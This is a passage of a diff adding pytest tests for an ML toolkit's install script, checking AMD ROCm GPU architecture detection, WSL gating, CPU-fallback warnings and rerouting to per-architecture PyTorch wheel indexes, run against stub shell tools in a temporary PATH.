+            ), f"an inferred arch with no wheel family must keep the CPU warning: {r3.stderr!r}"
+
+    def test_no_version_cpu_warning_respects_gfx_override(self):
+        """With UNSLOTH_ROCM_GFX_ARCH set on a KFD-only host that has no ROCm
+        version sources, the gfx probe is seeded by the override, so the
+        no-version endpoint used to print 'falling back to CPU-only PyTorch'
+        even though the reroute then installs the per-arch wheels (Codex P3).
+        A supported override must defer; an unsupported override, or a
+        readable-gfx host without an override, keeps the CPU warning."""
+        shell = shutil.which("bash")
+        if not shell:
+            pytest.skip("bash needed to execute get_torch_index_url")
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        fn = _extract_sh_function_body(source, "get_torch_index_url")
+        probe_fn = _extract_sh_function_body(source, "_probe_amd_gfx_arch")
+        family_fn = _extract_sh_function_body(source, "_amd_arch_index_family_for_gfx")
+        assert fn and probe_fn and family_fn
+        with tempfile.TemporaryDirectory() as d:
+            with open(os.path.join(d, "uname"), "w", encoding = "utf-8", newline = "\n") as f:
+                f.write('#!/bin/sh\ncase "${1:-}" in -m) echo x86_64 ;; *) echo Linux ;; esac\n')
+            # Silence every ROCm version source, not just amd-smi: a dev box with
+            # a real hipconfig/dpkg would otherwise resolve a version and skip
+            # the no-version endpoint this test exercises.
+            with open(os.path.join(d, "amd-smi"), "w", encoding = "utf-8", newline = "\n") as f:
+                f.write("#!/bin/sh\nexit 0\n")
+            for name in ("hipconfig", "dpkg-query", "rpm"):
+                with open(os.path.join(d, name), "w", encoding = "utf-8", newline = "\n") as f:
+                    f.write("#!/bin/sh\nexit 1\n")
+            for name in ("uname", "amd-smi", "hipconfig", "dpkg-query", "rpm"):
+                os.chmod(os.path.join(d, name), 0o755)
+            script = (
+                "set -euo pipefail\n"
+                "_ensure_rocm_probe_env() { :; }\n"
+                "_trim_index_path_slashes() { printf '%s\\n' \"$1\"; }\n"
+                "_has_usable_nvidia_gpu() { return 1; }\n"
+                "_has_amd_rocm_gpu() { return 0; }\n"
+                "_infer_linux_amd_gfx_arch() { return 1; }\n"
+                + probe_fn
+                + "\n"
+                + family_fn
+                + "\n"
+                + fn
+                + "\n"
+                "get_torch_index_url\n"
+            )
+            sp = os.path.join(d, "gtiu.sh")
+            with open(sp, "w", encoding = "utf-8", newline = "\n") as f:
+                f.write(script)
+
+            def run(rocminfo_body, **extra):
+                with open(os.path.join(d, "rocminfo"), "w", encoding = "utf-8", newline = "\n") as f:
+                    f.write("#!/bin/sh\n" + rocminfo_body)
+                os.chmod(os.path.join(d, "rocminfo"), 0o755)
+                env = dict(os.environ, PATH = d + os.pathsep + os.environ.get("PATH", ""), **extra)
+                for var in (
+                    "UNSLOTH_TORCH_INDEX_URL",
+                    "UNSLOTH_TORCH_INDEX_FAMILY",
+                    "UNSLOTH_PYTORCH_MIRROR",
+                    "ROCR_VISIBLE_DEVICES",
+                    "HIP_VISIBLE_DEVICES",
+                ):
+                    env.pop(var, None)
+                if "UNSLOTH_ROCM_GFX_ARCH" not in extra:
+                    env.pop("UNSLOTH_ROCM_GFX_ARCH", None)
+                return subprocess.run(
+                    [shell, sp.replace("\\", "/")], env = env, capture_output = True, text = True
+                )
+
+            # Supported override on a tool-blind host: defer to the reroute.
+            r = run("exit 0\n", UNSLOTH_ROCM_GFX_ARCH = "gfx1151")
+            assert r.returncode == 0, f"override case aborted: {r.stderr}"
+            assert r.stdout.strip().endswith("/cpu")
+            assert (
+                "falling back to CPU-only PyTorch" not in r.stderr
+            ), f"a supported override must not get the false CPU warning: {r.stderr!r}"
+            assert (
+                "UNSLOTH_ROCM_GFX_ARCH=gfx1151 is set" in r.stderr
+            ), f"the override deferral must be announced: {r.stderr!r}"
+            # Unsupported override: the reroute can't map it -> CPU warning stays.
+            r2 = run("exit 0\n", UNSLOTH_ROCM_GFX_ARCH = "gfx906")
+            assert r2.returncode == 0, f"unsupported-override case aborted: {r2.stderr}"
+            assert (
+                "falling back to CPU-only PyTorch" in r2.stderr
+            ), f"an unmappable override must keep the CPU warning: {r2.stderr!r}"
+            # Readable gfx, no override, no version: deliberate CPU fallback.
+            r3 = run('echo "  Name:  gfx1151"\n')
+            assert r3.returncode == 0, f"readable-gfx case aborted: {r3.stderr}"
+            assert (
+                "falling back to CPU-only PyTorch" in r3.stderr
+            ), f"a readable-gfx host without a version keeps the CPU warning: {r3.stderr!r}"
+
+    def test_reroute_gate_covers_kfd_only(self):
+        """The runtime-less reroute must fire for a KFD-only host: _has_amd_rocm_gpu
+        is now true via the KFD topology, so the gate also accepts a detected GPU
+        whose gfx probe is empty (unslothai#7314 P2). A */cpu index chosen with a
+        READABLE gfx (deliberate ROCm-version fallback) must stay un-rerouted."""
+        shell = shutil.which("bash")
+        if not shell:
+            pytest.skip("bash needed to execute the reroute block")
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        block = re.search(
+            r'^if \[ "\$_torch_index_pinned" = false \] && \[ "\$SKIP_TORCH" = false \] && \\\n'
+            r".*?^fi\n",
+            source,
+            re.S | re.M,
+        )
+        assert block, "could not extract the runtime-less reroute block"
+        family_fn = _extract_sh_function_body(source, "_amd_arch_index_family_for_gfx")
+        assert family_fn
+        with tempfile.TemporaryDirectory() as d:
+            with open(os.path.join(d, "uname"), "w", encoding = "utf-8", newline = "\n") as f:
+                f.write('#!/bin/sh\ncase "${1:-}" in -m) echo x86_64 ;; *) echo Linux ;; esac\n')
+            os.chmod(os.path.join(d, "uname"), 0o755)
+
+            def run(gpu_stub, probe_stub):
+                script = (
+                    "set -euo pipefail\n"
+                    "_has_usable_nvidia_gpu() { return 1; }\n"
+                    f"_has_amd_rocm_gpu() {{ {gpu_stub}; }}\n"
+                    f"_probe_amd_gfx_arch() {{ {probe_stub}; }}\n"
+                    "_infer_linux_amd_gfx_arch() { echo gfx1100; }\n"
+                    "_strip_index_url_credentials() { printf '%s\\n' \"$1\"; }\n" + family_fn + "\n"
+                    "_torch_index_pinned=false\nSKIP_TORCH=false\n_ARCH=x86_64\n"
+                    "TORCH_INDEX_URL=https://download.pytorch.org/whl/cpu\n"
+                    + block.group(0)
+                    + 'printf "URL:%s GFX:%s\\n" "$TORCH_INDEX_URL" "${UNSLOTH_ROCM_GFX_ARCH:-}"\n'
+                )
+                # Run from a file, not -c: Windows bash mangles multi-KB -c strings.
+                sp = os.path.join(d, "reroute.sh")
+                with open(sp, "w", encoding = "utf-8", newline = "\n") as f:
+                    f.write(script)
+                env = dict(os.environ, PATH = d + os.pathsep + os.environ.get("PATH", ""))
+                for var in ("UNSLOTH_ROCM_GFX_ARCH", "UNSLOTH_AMD_ROCM_MIRROR"):
+                    env.pop(var, None)
+                return subprocess.run(
+                    [shell, sp.replace("\\", "/")], env = env, capture_output = True, text = True
+                )
+
+            # KFD-only: GPU detected, probe empty -> reroute to per-arch wheels.
+            r = run("return 0", "printf '\\n'")
+            assert r.returncode == 0, f"kfd-only reroute aborted: {r.stderr}"
+            assert (
+                "URL:https://repo.amd.com/rocm/whl/gfx110X-all/ GFX:gfx1100" in r.stdout
+            ), f"KFD-only host must reach the AMD arch index: {r.stdout!r}"
+            # The diagnostic must not claim /dev/kfd is missing: KFD visibility is
+            # exactly what detected this host (Codex P3).
+            assert (
+                "ROCm runtime not visible" not in r.stderr
+            ), f"KFD-only reroute must not claim /dev/kfd is missing: {r.stderr!r}"
+            assert (
+                "visible via the kernel driver (KFD)" in r.stderr
+            ), f"KFD-only reroute must name the tooling gap: {r.stderr!r}"
+            # Readable gfx: the */cpu index is a deliberate fallback -> untouched.
+            r2 = run("return 0", "echo gfx1151")
+            assert r2.returncode == 0, f"readable-gfx case aborted: {r2.stderr}"
+            assert (
+                "URL:https://download.pytorch.org/whl/cpu GFX:" in r2.stdout
+            ), f"a deliberate CPU fallback must not be rerouted: {r2.stdout!r}"
+            # No AMD GPU detected at all: the pre-KFD-fix path still reroutes.
+            r3 = run("return 1", "printf '\\n'")
+            assert r3.returncode == 0, f"undetected-GPU case aborted: {r3.stderr}"
+            assert (
+                "URL:https://repo.amd.com/rocm/whl/gfx110X-all/ GFX:gfx1100" in r3.stdout
+            ), f"the original undetected-GPU reroute must keep working: {r3.stdout!r}"
+            assert (
+                "ROCm runtime not visible" in r3.stderr
+            ), f"a truly runtime-invisible host keeps the original diagnostic: {r3.stderr!r}"
 
     def test_get_torch_index_url_uses_nvidia_detected_flag(self):
         """get_torch_index_url must track NVIDIA via _nvidia_detected (proc-only NVIDIA still picks CUDA)."""
@@ -1241,7 +2149,7 @@ class TestWorkerRocmMambaSsm:
         assert "getattr(torch.version, 'hip', None)" in source
 
     def test_direct_wheel_url_returns_none_without_cuda_major(self, monkeypatch):
-        """_direct_wheel_url should return None when cuda_major is empty (ROCm)."""
+        """direct_wheel_url should return None when cuda_major is empty (ROCm)."""
         _worker_spec = importlib.util.spec_from_file_location("test_worker", _WORKER_PATH)
         assert _worker_spec is not None and _worker_spec.loader is not None
         worker_mod = importlib.util.module_from_spec(_worker_spec)
@@ -1267,7 +2175,7 @@ class TestWorkerRocmMambaSsm:
             "hip_version": "7.1.12345",
             "cxx11abi": "TRUE",
         }
-        result = worker_mod._direct_wheel_url(
+        result = worker_mod.direct_wheel_url(
             filename_prefix = "causal_conv1d",
             package_version = "1.6.1",
             release_tag = "v1.6.1.post4",
@@ -1716,9 +2624,8 @@ class TestDetectWindowsGfxArch:
         assert result == "gfx1200"
 
     def test_returns_arch_on_crash_with_gcnarchname_in_output(self):
-        # Regression #6043: hipinfo may crash (0xC0000005 on RDNA 4) after
-        # printing gcnArchName. Accept the arch whenever gcnArchName is in
-        # stdout, regardless of exit code (previously a CPU fallback).
+        # Regression #6043: hipinfo may crash (0xC0000005 on RDNA 4) after printing
+        # gcnArchName. Accept the arch whenever gcnArchName is in stdout, any exit code.
         mock_result = MagicMock()
         mock_result.returncode = -1073741819  # 0xC0000005 STATUS_ACCESS_VIOLATION
         mock_result.stdout = b"gcnArchName : gfx1200\nsome other line\n"
@@ -1783,6 +2690,7 @@ class TestGfxArchNameFallback:
         "name, expected",
         [
             ("AMD Radeon(TM) 8060S Graphics", "gfx1151"),
+            ("AMD Radeon(TM) 8065S Graphics", "gfx1151"),
             ("AMD Ryzen AI MAX+ 395 w/ Radeon 8060S", "gfx1151"),
             ("AMD Radeon(TM) 890M", "gfx1150"),
             ("AMD Ryzen AI 9 HX 370 w/ Radeon 890M", "gfx1150"),
@@ -2360,6 +3268,49 @@ class TestWindowsRocmTorchaoGuard:
         assert not any("torchao" in arg for arg in installed_specs)
 
 
+class TestProgressStepCountMatchesTotal:
+    """The progress bar must reach exactly _TOTAL: every _progress() step is counted in
+    base_total. Regression for a repair step added without incrementing base_total,
+    which pushed _STEP past _TOTAL (Codex P2)."""
+
+    def _run_stack(self, tmp_path, *, is_windows, is_macos, is_mac_arm):
+        unstructured_plugin = tmp_path / "unstructured"
+        github_plugin = tmp_path / "github"
+        unstructured_plugin.mkdir()
+        github_plugin.mkdir()
+        sub = MagicMock()
+        sub.returncode = 0
+        sub.stdout = ""
+        with (
+            patch.dict(os.environ, {"SKIP_STUDIO_BASE": "1"}),
+            patch.object(stack_mod, "IS_WINDOWS", is_windows),
+            patch.object(stack_mod, "IS_MACOS", is_macos),
+            patch.object(stack_mod, "IS_MAC_ARM", is_mac_arm),
+            patch.object(stack_mod, "NO_TORCH", False),
+            patch.object(stack_mod, "_rocm_windows_torch_installed", False),
+            patch.object(stack_mod, "_bootstrap_uv", return_value = False),
+            patch.object(stack_mod, "_installed_torch_is_windows_rocm", return_value = False),
+            patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = True),
+            patch.object(stack_mod, "_repair_bad_anyio"),
+            patch.object(stack_mod, "_ensure_cuda_torch"),
+            patch.object(stack_mod, "_ensure_rocm_torch"),
+            patch.object(stack_mod, "_ensure_cpu_torch"),
+            patch.object(stack_mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin),
+            patch.object(stack_mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin),
+            patch.object(stack_mod.subprocess, "run", return_value = sub),
+        ):
+            assert stack_mod.install_python_stack() == 0
+            return stack_mod._STEP, stack_mod._TOTAL
+
+    def test_windows_progress_reaches_total(self, tmp_path):
+        step, total = self._run_stack(tmp_path, is_windows = True, is_macos = False, is_mac_arm = False)
+        assert step == total, f"Windows progress {step} != total {total} (final step uncounted)"
+
+    def test_linux_progress_reaches_total(self, tmp_path):
+        step, total = self._run_stack(tmp_path, is_windows = False, is_macos = False, is_mac_arm = False)
+        assert step == total, f"Linux progress {step} != total {total}"
+
+
 # TEST: worker.py -- Windows ROCm patches (source-level checks)
 
 
@@ -2807,6 +3758,286 @@ _SETUP_SH_PATH = PACKAGE_ROOT / "studio" / "setup.sh"
 class TestStrixRocm71Override:
     """install.sh routes gfx1151/gfx1150 to AMD's arch index instead of ROCm 7.1 (_grouped_mm segfault)."""
 
+    def test_linux_gfx_inference_helpers_present(self):
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        assert "_infer_linux_amd_gfx_arch" in source
+        assert "_amd_arch_index_family_for_gfx" in source
+        assert "_amd_gpu_present_via_pci" in source
+        assert "unslothai#7301" in source
+
+    def test_infer_linux_amd_gfx_from_cpuinfo(self):
+        assert stack_mod._linux_amd_gfx_from_cpuinfo is not None
+        with patch.object(
+            Path,
+            "read_text",
+            return_value = "model name : AMD Ryzen AI Max+ 395 w/ Radeon 8060S\n",
+        ):
+            assert stack_mod._linux_amd_gfx_from_cpuinfo() == "gfx1151"
+        # 8065S (Gorgon Halo) must match on the Radeon name alone, even without the
+        # "Ryzen AI Max" branding (mirrors setup.sh / setup.ps1 which list 8065S).
+        with patch.object(Path, "read_text", return_value = "model name : AMD Radeon 8065S\n"):
+            assert stack_mod._linux_amd_gfx_from_cpuinfo() == "gfx1151"
+
+    def test_infer_gfx_gated_out_of_wsl_without_runtime(self):
+        """On WSL the cpuinfo/lspci inference must be skipped unless the WSL ROCDXG
+        runtime (librocdxg) is present: a bare `unsloth studio update` must not
+        install per-arch ROCm wheels into an env that still can't expose the GPU.
+        An explicit UNSLOTH_ROCM_GFX_ARCH override stays authoritative regardless."""
+        m = stack_mod
+        with (
+            patch.object(m, "_linux_amd_gfx_from_cpuinfo", return_value = "gfx1151"),
+            patch.object(m, "_linux_amd_gfx_from_lspci", return_value = None),
+            # PCI evidence present (the WSL branch never consults it anyway).
+            patch.object(m, "_linux_amd_display_device_present", return_value = True),
+            patch.dict(os.environ, {"UNSLOTH_ROCM_GFX_ARCH": ""}),
+        ):
+            # WSL + no runtime -> inference suppressed (CPU torch stays).
+            with (
+                patch.object(m, "_is_wsl", return_value = True),
+                patch.object(m, "_wsl_rocm_runtime_present", return_value = False),
+            ):
+                assert m._infer_linux_amd_gfx_arch() is None
+            # WSL + runtime present (this dev box) -> inference still runs.
+            with (
+                patch.object(m, "_is_wsl", return_value = True),
+                patch.object(m, "_wsl_rocm_runtime_present", return_value = True),
+            ):
+                assert m._infer_linux_amd_gfx_arch() == "gfx1151"
+            # Native Linux (not WSL) -> the gate never applies.
+            with (
+                patch.object(m, "_is_wsl", return_value = False),
+                patch.object(m, "_wsl_rocm_runtime_present", return_value = False),
+            ):
+                assert m._infer_linux_amd_gfx_arch() == "gfx1151"
+        # Explicit override wins even on a bare WSL box (no runtime).
+        with (
+            patch.object(m, "_is_wsl", return_value = True),
+            patch.object(m, "_wsl_rocm_runtime_present", return_value = False),
+            patch.dict(os.environ, {"UNSLOTH_ROCM_GFX_ARCH": "gfx1151"}),
+        ):
+            assert m._infer_linux_amd_gfx_arch() == "gfx1151"
+
+    def test_infer_gfx_requires_amd_display_device_on_native_linux(self):
+        """A VM/container on a Strix host still shows the host CPU model in
+        /proc/cpuinfo while receiving no AMD GPU, so on native Linux the
+        CPU-model inference must require an AMD PCI display device (#7305
+        review). WSL is exempt (no PCI enumeration there; the librocdxg gate is
+        the evidence) and the explicit override stays authoritative."""
+        m = stack_mod
+        with (
+            patch.object(m, "_linux_amd_gfx_from_cpuinfo", return_value = "gfx1151"),
+            patch.object(m, "_linux_amd_gfx_from_lspci", return_value = None),
+            patch.object(m, "_is_wsl", return_value = False),
+            patch.dict(os.environ, {"UNSLOTH_ROCM_GFX_ARCH": ""}),
+        ):
+            # No AMD display device -> the CPU-model text alone must not infer.
+            with patch.object(m, "_linux_amd_display_device_present", return_value = False):
+                assert m._infer_linux_amd_gfx_arch() is None
+            # Device present -> inference unchanged.
+            with patch.object(m, "_linux_amd_display_device_present", return_value = True):
+                assert m._infer_linux_amd_gfx_arch() == "gfx1151"
+        # Explicit override needs no device evidence (headless/cross-install).
+        with (
+            patch.object(m, "_is_wsl", return_value = False),
+            patch.object(m, "_linux_amd_display_device_present", return_value = False),
+            patch.dict(os.environ, {"UNSLOTH_ROCM_GFX_ARCH": "GFX1151"}),
+        ):
+            assert m._infer_linux_amd_gfx_arch() == "gfx1151"
+
+    def test_install_sh_cpuinfo_inference_requires_pci_evidence(self):
+        """install.sh mirror of the VM/container guard: both cpuinfo greps must be
+        gated on _gpu_evidence (AMD PCI display device via _amd_gpu_present_via_pci,
+        or the WSL librocdxg gate), and the gate must sit before the first grep."""
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        body = _extract_sh_function_body(source, "_infer_linux_amd_gfx_arch")
+        assert body, "could not extract _infer_linux_amd_gfx_arch"
+        pci = body.find("_amd_gpu_present_via_pci")
+        infer = body.find("grep -qiE 'Ryzen AI Max")
+        assert pci >= 0 and infer >= 0
+        assert pci < infer, "the PCI evidence check must run before the cpuinfo inference"
+        assert (
+            body.count('[ -n "$_gpu_evidence" ] && grep -qiE') == 2
+        ), "both cpuinfo greps (gfx1151 and gfx1150) must be gated on _gpu_evidence"
+
+    def test_lspci_scan_covers_all_display_controllers(self):
+        """The lspci fallback must scan every display-class line, not just the
+        first: a non-AMD controller (Intel iGPU, ASPEED BMC) often enumerates
+        before the AMD dGPU. Non-AMD vendors must never map (an NVIDIA GeForce
+        GTX 860M would otherwise hit the AMD 860M pattern), and a 0000: PCI
+        domain prefix must not break matching."""
+        m = stack_mod
+
+        def fake_lspci(stdout):
+            result = SimpleNamespace(returncode = 0, stdout = stdout)
+            return (
+                patch.object(m.shutil, "which", return_value = "/usr/bin/lspci"),
+                patch.object(m.subprocess, "run", return_value = result),
+            )
+
+        intel_then_amd = (
+            "00:02.0 VGA compatible controller [0300]: Intel Corporation Raptor Lake-S GT1 [8086:a780]\n"
+            "03:00.0 VGA compatible controller [0300]: Advanced Micro Devices, Inc. [AMD/ATI]"
+            " Navi 31 [Radeon RX 7900 XT] [1002:744c]\n"
+        )
+        nvidia_only = "01:00.0 3D controller [0302]: NVIDIA Corporation GM107M [GeForce GTX 860M] [10de:1392]\n"
+        domain_prefixed = (
+            "0000:c5:00.0 VGA compatible controller [0300]: Advanced Micro Devices, Inc. [AMD/ATI]"
+            " Strix Halo [Radeon Graphics / Radeon 8060S] [1002:150e]\n"
+        )
+        unmapped_then_mapped = (
+            "03:00.0 Display controller [0380]: Advanced Micro Devices, Inc. [AMD/ATI]"
+            " Cape Verde [FirePro W600] [1002:6821]\n"
+            "04:00.0 VGA compatible controller [0300]: Advanced Micro Devices, Inc. [AMD/ATI]"
+            " Navi 33 [Radeon RX 7600] [1002:7480]\n"
+        )
+        for stdout, expected in (
+            (intel_then_amd, "gfx1100"),
+            (nvidia_only, None),
+            (domain_prefixed, "gfx1151"),
+            (unmapped_then_mapped, "gfx1102"),
+        ):
+            w, r = fake_lspci(stdout)
+            with w, r:
+                assert m._linux_amd_gfx_from_lspci() == expected, stdout
+
+    def test_install_sh_lspci_scan_covers_all_display_controllers(self):
+        """install.sh mirror of the scan-all behaviour, executed with a shimmed
+        lspci: Intel-first still finds the AMD dGPU, NVIDIA-only maps nothing
+        (860M collision), a domain-prefixed AMD line still maps."""
+        shell = shutil.which("bash")
+        if not shell:
+            pytest.skip("bash needed to execute the probe block")
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        name_fn = re.search(
+            r"^_infer_amd_gfx_arch_from_gpu_name\(\) \{\n.*?\n\}\n", source, re.S | re.M
+        )
+        scan = re.search(
+            r"^    if command -v lspci[^\n]*\n.*?\nEOF\n    fi\n    return 1\n", source, re.S | re.M
+        )
+        assert name_fn and scan, "could not extract the lspci scan block"
+        cases = (
+            (
+                "00:02.0 VGA compatible controller [0300]: Intel Corporation UHD [8086:a780]\n"
+                "03:00.0 VGA compatible controller [0300]: Advanced Micro Devices, Inc. [AMD/ATI]"
+                " Navi 31 [Radeon RX 7900 XT] [1002:744c]",
+                "OK:gfx1100",
+            ),
+            (
+                "01:00.0 3D controller [0302]: NVIDIA Corporation GM107M [GeForce GTX 860M] [10de:1392]",
+                "OK:",
+            ),
+            (
+                "0000:c5:00.0 VGA compatible controller [0300]: Advanced Micro Devices, Inc."
+                " [AMD/ATI] Strix Halo [Radeon 8060S] [1002:150e]",
+                "OK:gfx1151",
+            ),
+        )
+        for lspci_out, expected in cases:
+            with tempfile.TemporaryDirectory() as d:
+                p = os.path.join(d, "lspci")
+                with open(p, "w", encoding = "utf-8") as f:
+                    f.write(f'#!/bin/sh\ncat <<"EOT"\n{lspci_out}\nEOT\n')
+                os.chmod(p, 0o755)
+                script = (
+                    "set -euo pipefail\n"
+                    + name_fn.group(0)
+                    + "probe() {\n"
+                    + scan.group(0)
+                    + "}\nprintf 'OK:%s\\n' \"$(probe || true)\"\n"
+                )
+                env = dict(os.environ, PATH = d + os.pathsep + os.environ.get("PATH", ""))
+                r = subprocess.run([shell, "-c", script], env = env, capture_output = True, text = True)
+                assert r.returncode == 0, f"scan aborted: {r.stderr}"
+                assert (
+                    r.stdout.splitlines()[-1] == expected
+                ), f"lspci scan wrong for {lspci_out!r}: {r.stdout!r}"
+
+    def test_install_sh_infer_gfx_gated_on_wsl_runtime(self):
+        """install.sh's _infer_linux_amd_gfx_arch must, like the Python side, skip
+        the cpuinfo/lspci inference on WSL unless librocdxg is present -- the
+        override still returns first, so it stays authoritative."""
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        body = _extract_sh_function_body(source, "_infer_linux_amd_gfx_arch")
+        assert body, "could not extract _infer_linux_amd_gfx_arch"
+        override = body.find("UNSLOTH_ROCM_GFX_ARCH")
+        dxg = body.find("/dev/dxg")
+        rocdxg = body.find("librocdxg")
+        # Anchor on the first cpuinfo *inference* (the grep), not a comment mention.
+        infer = body.find("grep -qiE 'Ryzen AI Max")
+        assert override >= 0 and dxg >= 0 and rocdxg >= 0 and infer >= 0
+        assert "microsoft" in body, "WSL gate must also detect WSL via /proc/version"
+        assert override < dxg, "the explicit override must return before the WSL gate"
+        assert (
+            dxg < infer and rocdxg < infer
+        ), "the WSL/librocdxg gate must run before the cpuinfo/lspci inference"
+
+    def test_install_sh_reroute_is_x86_64_only(self):
+        """The Linux inferred-gfx reroute must be x86_64-only: ROCm torch wheels are
+        not published for arm64, so an inferred/overridden gfx must not push an
+        arm64 host to the AMD arch index (get_torch_index_url returns CPU there)."""
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        idx = source.find("_linux_inferred_gfx=$(_infer_linux_amd_gfx_arch")
+        assert idx >= 0, "reroute consumer not found"
+        window = source[max(0, idx - 400) : idx]
+        assert (
+            'case "$_ARCH" in x86_64|amd64)' in window
+        ), "the inferred-gfx reroute must guard on x86_64|amd64 arch"
+
+    def test_install_sh_reroute_skips_visible_rocm_gpu(self):
+        """A */cpu index on a host whose AMD GPU IS visible to the ROCm probes is a
+        deliberate fallback (unsupported/unreadable ROCm version, warned about in
+        get_torch_index_url), not a missing runtime: the reroute must not override
+        it with inferred per-arch wheels. The explicit UNSLOTH_ROCM_GFX_ARCH
+        override must still win either way."""
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        idx = source.find("_linux_inferred_gfx=$(_infer_linux_amd_gfx_arch")
+        assert idx >= 0, "reroute consumer not found"
+        window = source[max(0, idx - 700) : idx]
+        assert (
+            "! _has_amd_rocm_gpu" in window
+        ), "the reroute must be gated on _has_amd_rocm_gpu being false"
+        assert (
+            '[ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ] || ! _has_amd_rocm_gpu' in window
+        ), "an explicit UNSLOTH_ROCM_GFX_ARCH override must bypass the visible-GPU gate"
+
+    def test_install_sh_reroute_exports_gfx_for_setup_sh(self):
+        """The inferred arch must be exported as UNSLOTH_ROCM_GFX_ARCH so the
+        downstream setup.sh run (which re-probes ROCm independently and finds
+        nothing on these runtime-less hosts) routes llama.cpp to the matching
+        ROCm prebuilt instead of the CPU one -- setup.sh and
+        install_llama_prebuilt.py both read that env var."""
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        assign = source.find('TORCH_INDEX_URL="${_amd_mirror}/${_amd_family}/"')
+        assert assign >= 0, "inferred-gfx index assignment not found"
+        block_end = source.find("esac", assign)
+        assert (
+            'export UNSLOTH_ROCM_GFX_ARCH="$_linux_inferred_gfx"' in source[assign:block_end]
+        ), "the reroute must export the inferred gfx for the setup.sh handoff"
+        # setup.sh's side of the handoff must still exist.
+        setup_source = (PACKAGE_ROOT / "studio" / "setup.sh").read_text(encoding = "utf-8")
+        assert "UNSLOTH_ROCM_GFX_ARCH" in setup_source
+
+    def test_amd_arch_index_url_linux_honors_amd_mirror(self):
+        """On Linux the inferred-gfx repair must honour UNSLOTH_AMD_ROCM_MIRROR (the
+        var install.sh uses), not the Windows mirror var, so a mirrored/air-gapped
+        Linux install does not silently fall back to repo.amd.com. Windows still
+        delegates to the Windows mirror path."""
+        m = stack_mod
+        with (
+            patch.object(m, "IS_WINDOWS", False),
+            patch.dict(os.environ, {"UNSLOTH_AMD_ROCM_MIRROR": "https://mirror.local/rocm"}),
+        ):
+            assert m._amd_arch_index_url("gfx1151") == "https://mirror.local/rocm/gfx1151/"
+        with (
+            patch.object(m, "IS_WINDOWS", False),
+            patch.dict(os.environ, {"UNSLOTH_AMD_ROCM_MIRROR": ""}),
+        ):
+            assert m._amd_arch_index_url("gfx1151") == "https://repo.amd.com/rocm/whl/gfx1151/"
+            assert m._amd_arch_index_url("gfx9999") is None
+        # Windows path is unchanged: delegate to the Windows mirror helper.
+        with patch.object(m, "IS_WINDOWS", True):
+            assert m._amd_arch_index_url("gfx1151") == m._windows_rocm_index_url("gfx1151")
+
     def test_strix_gfx_detection_in_install_sh(self):
         """install.sh must detect gfx1151 and gfx1150 for the override."""
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
@@ -2833,19 +4064,160 @@ class TestStrixRocm71Override:
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
         assert "moe_utils" in source or "_grouped_mm" in source
 
-    def test_strix_override_only_fires_on_rocm71(self):
-        """install.sh must scope the Strix override to rocm7.1 only (not rocm7.2+)."""
+    def test_strix_override_scoped_below_arch_floor(self):
+        """Strix reroute must fire for rocm leaves BELOW the arch floor (7.13) and
+        NOT at/above it. Executed via _rocm_leaf_below so it verifies the actual
+        version comparison, not a text match that a comment could satisfy."""
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
-        strix_idx = source.find("_strix_gfx")
-        assert strix_idx != -1
-        context_before = source[max(0, strix_idx - 2400) : strix_idx]
-        assert "rocm7.1" in context_before
+        # Selector + gate must switch on the index LEAF, not the whole URL (a mirror
+        # base path with its own rocm token would false-positive otherwise).
+        assert 'case "$_torch_index_leaf" in' in source
+        assert '_rocm_leaf_below "$_torch_index_leaf" 7 13' in source
+        shell = shutil.which("sh") or shutil.which("bash")
+        if not shell:
+            pytest.skip("no POSIX shell to execute _rocm_leaf_below")
+        match = re.search(r"^_rocm_leaf_below\(\) \{.*?^\}", source, re.S | re.M)
+        assert match, "could not extract _rocm_leaf_below from install.sh"
+        fn = match.group(0)
+
+        def below(leaf):
+            return (
+                subprocess.run(
+                    [shell, "-c", f'{fn}\n_rocm_leaf_below "$1" 7 13', "_", leaf]
+                ).returncode
+                == 0
+            )
+
+        for leaf in ("rocm6.0", "rocm7.0", "rocm7.1", "rocm7.2", "rocm7.12"):
+            assert below(leaf), f"{leaf} must reroute (below arch floor 7.13)"
+        for leaf in ("rocm7.13", "rocm7.14", "rocm8.0", "gfx1151", "cu128", "cpu"):
+            assert not below(leaf), f"{leaf} must NOT reroute (>= floor or non-rocm)"
+
+    def test_gfx_probe_survives_no_match_under_set_e(self):
+        """A gfx probe whose grep finds no match must not abort install.sh under
+        set -euo pipefail before the amd-smi fallback runs. The reroute case now
+        matches every rocm* index, so this would break ordinary 6.x/7.2 installs
+        with a flaky rocminfo. Executed with shimmed tools, not a text match."""
+        shell = shutil.which("bash")
+        if not shell:
+            pytest.skip("bash needed to execute the probe block")
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        block = re.search(
+            r'^        _gfx_all=\$\(printf[^\n]*\n.*?(?=^        _strix_gfx="")',
+            source,
+            re.S | re.M,
+        )
+        assert block, "could not extract the gfx-detection block"
+        with tempfile.TemporaryDirectory() as d:
+            # rocminfo emits no gfx token; amd-smi supplies gfx1151 (the fallback)
+            for name, out in (("rocminfo", "no gpu here"), ("amd-smi", "GPU: gfx1151")):
+                p = os.path.join(d, name)
+                with open(p, "w", encoding = "utf-8") as f:
+                    f.write(f'#!/bin/sh\ncat <<"EOT"\n{out}\nEOT\n')
+                os.chmod(p, 0o755)
+            script = (
+                'set -euo pipefail\nHIP_VISIBLE_DEVICES=""\nROCR_VISIBLE_DEVICES=""\n'
+                + block.group(0)
+                + '\nprintf "OK:%s\\n" "$_gfx_all"\n'
+            )
+            env = dict(os.environ, PATH = d + os.pathsep + os.environ.get("PATH", ""))
